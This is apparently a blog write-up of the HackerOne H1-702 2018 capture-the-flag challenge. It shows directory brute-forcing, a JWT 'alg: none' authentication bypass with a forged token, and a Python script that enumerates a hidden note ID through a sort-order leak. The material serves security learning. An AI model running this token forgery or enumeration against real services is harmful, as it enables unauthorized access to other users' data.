H1-702 CTF ~ Write-Up

H1-702 CTF


Json Web Token
Final steps


My last two weeks being occupied began with this simple tweet from Jobert Abma.

A new CTF. Sick!
Let’s get started…


After signing up, we receive the challenge.
The challenge concludes a web interface at

β–Ί curl | sed -n "/<body>/,/<\/body>/p"

Welcome to HackerOne's H1-702 2018 Capture The Flag event. Somewhere on this server, a service can be found that allows a user to securely stores notes. In one of the notes, a flag is hidden. The goal is to obtain the flag.
Good luck, you might need it.

Alright, so there is a notes RPC somewhere located on this server.


The first step which I performed, was scanning for directories and files.
I used dirbuster in combination with big.txt, to bruteforce directories and files.
Dirbuster is an old unmaintained project, that has been forked by the OWASP team, and comes by default on Kali Linux.
I used it rather then other tools like Wfuzz, because it just does what it needs to do, and it is already preinstalled.
after running it for a minute, a readme.html file pops up in the root.


It seems like it is some documentation for a webservice.
The webservice is located at “/rpc.php”, and requires an Accept and Authorization header.
Upon reading the readme, you can see that the endpoint can create, get and reset notes, as well as return metadata about your notes.
All the posts are being made in json format, as well as the responses.

Lets first start with creating the requests in Burp Suite.

The response of the above request is:

HTTP/1.1 201 Created
Date: Fri, 22 Jun 2018 01:33:70 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Length: 70
Content-Type: application/json


When we GET the url given in the response, we receive:

{"note":"This is my note","epoch":"1529707528"}

(The epoch is a datetime of when the note was created)

So we successfully created a note. Lets try to test the metadata endpoint now.

GET /rpc.php?method=getNotesMetadata HTTP/1.1



It looks like the metadata endpoint returns an array of all the epochs of your notes, together with a count.

Now the only method we haven’t had yet is the ‘resetNotes’ one. Lets try that one out as well.

POST /rpc.php?method=resetNotes HTTP/1.1



After this, when we repeat the metadata request, we get an empty array. So that confirms that the reset was successful.
Now that we have checked every method and option, we can start to look for vulnerabilities.
Lets start by trying to find something in the create method…

Looking at the documentation, you are only allowed to use letters, numbers and a dot in the note itself.
You can manually send an ID for the note, with the request.
This ID is also checked by a regex which only allows letters and numbers.
I didn’t find anything about the max length of the request, nor the ID, so I tried sending a request with a really long note and ID, hoping for some type of overflow.
Unfortunately, this resulted in nothing so I moved on.
What are my other options?
I can try to brute-force other methods in the ‘method’ parameter, but I don’t think this CTF requires brute-forcing to solve it.
Lets try to change some other things.
I starting with replacing

GET /rpc.php?method=getNote&id=d4ac962fb8c300ea0ffe0eaba08f7ad0 HTTP/1.1

with the following request

GET /rpc.php?method=getFlag&id=d4ac962fb8c300ea0ffe0eaba08f7ad0 HTTP/1.1


{"method":"not found"}

Damn it. Why isn’t it just this easy?
I also tried some other things like SQLI in the ‘id’ parameter, but these tries also resulted in nothing.



My next guess was it had something to do with the Authorization header.
The authorization header contains a JWT(Json Web Token) which is build up by [Header].[Payload].[Signature].
The header and the payload are base64 encoded for
{“typ”:”JWT”,”alg”:”HS256″}” and “{“id”:2}

A Json Web Token is a JSON-based open standard (RFC 7519) for creating access tokens that assert some number of claims. For example, a server could generate a token that has the claim “logged in as admin” and provide that to a client. The client could then use that token to prove that it is logged in as admin. The tokens are signed by one party’s private key (usually the server’s), so that both parties (the other already being, by some suitable and trustworthy means, in possession of the corresponding public key) are able to verify that the token is legitimate.

In our case, the payload contains an ID field with the value of ‘2’. Changing this ‘2’ into a ‘1’ will result in 401 Unauthorized, since the signature doesn’t match the header and payload anymore.
To create the signature you have to take the encoded header, the encoded payload, a secret and the algorithm specified in the header, and sign that.
For example if you want to use the HMAC SHA256 algorithm, the signature will be created in the following way:

  base64UrlEncode(header) + "." +                                                              #So to Bayotop

I tried to brute-force the secret with a self made python script, and with https://github.com/lmammino/jwt-cracker.
After around 60M tries I gave up. (Note that I did not make 60M requests. The brute-forcing is done by signing it with a new secret each time and comparing the signature. This all happens locally)

After googling a bit, I stumbled upon a really interesting article by Tim McLean.
This article says that some libraries might not check the signature if the algorithm is set to ‘none’.
Well lets try that out, and also just change the ‘ID : 2’ to ‘ID : 1’, just because I’ve got a feeling that might change something.

β–Ί base64encode(‘{“typ”:”JWT”,”alg”:”none“}’).base64encode(‘{“id”:1}’).’$old_signature’



GET /rpc.php?method=getNotesMetadata HTTP/1.1
authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJpZCI6MX0.t4M7We66pxjMgRNGg1RvOmWT6rLtA8ZwJeNP-S8pVak
Accept: application/notes.api.v1+json
Content-Length: 2




Jeej! \0/
Looks like we’ve got an authentication bypass.

The epoch refers to GMT: Wednesday, June 13, 2018 5:38:53 PM.
At this date, the CTF wasn’t open yet, so this must be the note containing the flag.


We have the account where the note is on, and we’ve got the epoch of the note.
Lets try some things.
Adding a parameter ‘epoch’ to the ‘getNotes’ method resulted in nothing.
I have to be more creative…

After a few failed attempts to try some things with the headers and the parameters, and quite some hours has passed, I started inspecting the documentation once more.
First I didn’t notice it, but there was one thing we had overlooked.


The documentation says something about a v2.
Lets change the accept header from

Accept: application/notes.api.v1+json


Accept: application/notes.api.v2+json

Nothing changed…
But also, no error was thrown. No news is good news right? πŸ˜‰
When changing the number to anything other than 1 or 2, a 415 Unsupported Media Type is being thrown with ‘{“version”:”is unknown”}’.
So V2 has to be the one.

Next off I tried to guess the ID of the note where the flag should be in.

But after running it for some time, I realized this is probably not the way, and I must be missing another step.
(And Jobert gave me a hint XD)



The next step took me awhile. In the documentation was a hidden hint.

Cynics look high and low for wisdom – and never find it;
The open-minded find it right on their doorstep!

When you view the source of the documentation page you can see it.
A hidden hint was right there under the surface.

How could I have not seen this?

Jobert, like usual, is playing with us.

β–Ί curl | sed -n "/<!--/,/-->/p"

Version 2 is in the making and being tested right now, it includes an optimized file format that
sorts the notes based on their unique key before saving them. This allows them to be queried faster.
Please do NOT use this in production yet!

It was already late, and I couldn’t think clear.

So I went to ride my motorcycle to get some fresh air and think about it.
After I returned, I thought I had figured it out.


From the documentation, we know that the ID’s are random generated, 32 chars long strings.
Also, when using the v2 API, the notes are sorted based on their unique ID’s.
You can see the sorting order by requesting the metadata endpoint.

This way we can enumerate the flag notes ID right?
If we build up a 32 chars long ID by going through each char for each position, and then checking if the epoch of the by our created note is the first in the array.
For example:
If the note with the flag in it has note ID “c”, then we can enumerate that by first starting with creating a note with the the ID “a”.
When requesting the ‘getNotesMetadata’ method, you can see that the newly created note’s epoch, is in front of the flag’s epoch, in the array. Next of you reset the notes, and you repeat step 1 with the ID ‘b’. Once the epoch of the newly created note is not the first in the array anymore, then you know that the char before that is the flag.
To test this method, I created 3 notes with the ID’s ‘a’, ‘b’ and ‘c’. The epoch of the note with ID ‘b’ was in the middle of three when requesting the metadata. So this confirms that this must be the right way to retrieve the flag’s note.
The flag’s note is probably 32 chars long, so we need to repeat this for all the 32 chars.


Oke, since I’m lazy, not crazy, I wrote a script to do the job.

32 (length(ID)) * 62 (alphabet + uppercase alphabet + 0-9) * 3 (create, reset, metadata) = 5952 requests

I wrote the script in Python. Python is one of my favorite programming languages, because it is cross platform and there are a lot of good resources available for it.
If you want to learn python, you can get started here.
This is the script:

import requests

header = "eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0"
payload = "eyJpZCI6MX0"
signature = "t4M7We66pxjMgRNGg1RvOmWT6rLtA8ZwJeNP-S8pVak"

jwt = header + "." + payload + "." + signature

s = requests.Session()
s.keep_alive = False
s.headers.update({"Authorization": jwt, "Accept": "application/notes.api.v2+json"})

possible_chars = list("0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz")
possible_chars = possible_chars[::-1]

def getMetadata():
    url = ""
    data = s.get(url).content
    return data

def createNote(ID):
    #print ID
    url = "" + ID
    data = s.post(url, json={"note": "This is my note", "id": ID}).json()
    return data

def resetNotes():
    url = ""
    data = s.post(url).json()

flag  = ""
for i in range(0, 32):
    for c in possible_chars:
        createNote(flag + c)
        data = getMetadata()
        if not "\"epochs\":[\"1528911533\"" in data:
            flag += c
            print "flag: " + flag

If we run the script we get the following output:

flag: EelHIXsuAw4FXCa9epedzzzzzzzzzzzz

After stripping of the trailing z’s, it seems that the ID was not 32 chars long but instead 20 chars.
Lets try to retrieve the long waited for flag πŸ™‚

GET /rpc.php?method=getNote&id=EelHIXsuAw4FXCa9eped HTTP/1.1


{"note":"is not found"}

And… It didnt work :/
After debugging my code I found the problem.

When trying to create a note with an already excising ID, we get a 400 Bad Request.
So the note is not created right?
This means that the note will not be created, so the latest char of the correct ID will always be one char higher (because we reverse the list at line 14) in the list. (because the right char makes the ID complete and returns a 400)
So we change “EelHIXsuAw4FXCa9eped” to “EelHIXsuAw4FXCa9epee” and make the GET requests:


This looks base64 encoded, so lets decode it.


Finally! 3 days, 5 frustrations and 8 redbulls later…


Thanks Samuel Erb for the idea!
Capturing the flag in tweet format.

Well… You are right. that wont fit. But it does fit in 2 tweets πŸ˜‰
Maybe i can challenge you to try and make it smaller?

If you really want to tweet it, here you go:


  • Paste one of the sample requests from the readme in burp suite.
  • Base64 decode the JWT, and change the ID to 1. Also set the algorithm on ‘none’, and base64 encode it again.
  • Change the API version in the Accept header from v1 to v2.
  • Use the hidden hint in the source of the documentation to enumerate the note ID.
  • Send a GET request to “/rpc.php?method=getNote&id=The_Note_ID” and base64 decode the response note content.


Includes but is not limited to:

  • When testing API’s, always try other versions of the API. There might be an old unmaintained version available that is vulnerable to quite some stuff.
  • The definition and purpose of a JWT (Json Web Token), and the different types of vulnerabilities it contains.
  • Read through the documentation carefully so you don’t miss things. (Like versioning)
  • Sorting Unique files/ID’s is not a good idea when you display the sort order to the user, since using the above explained method, you can enumerate the unique ID/file name.
  • Sneaky Jobert is always playing with us.



If you reeaally want to know where they are hiding at, click the button below.


Scroll Up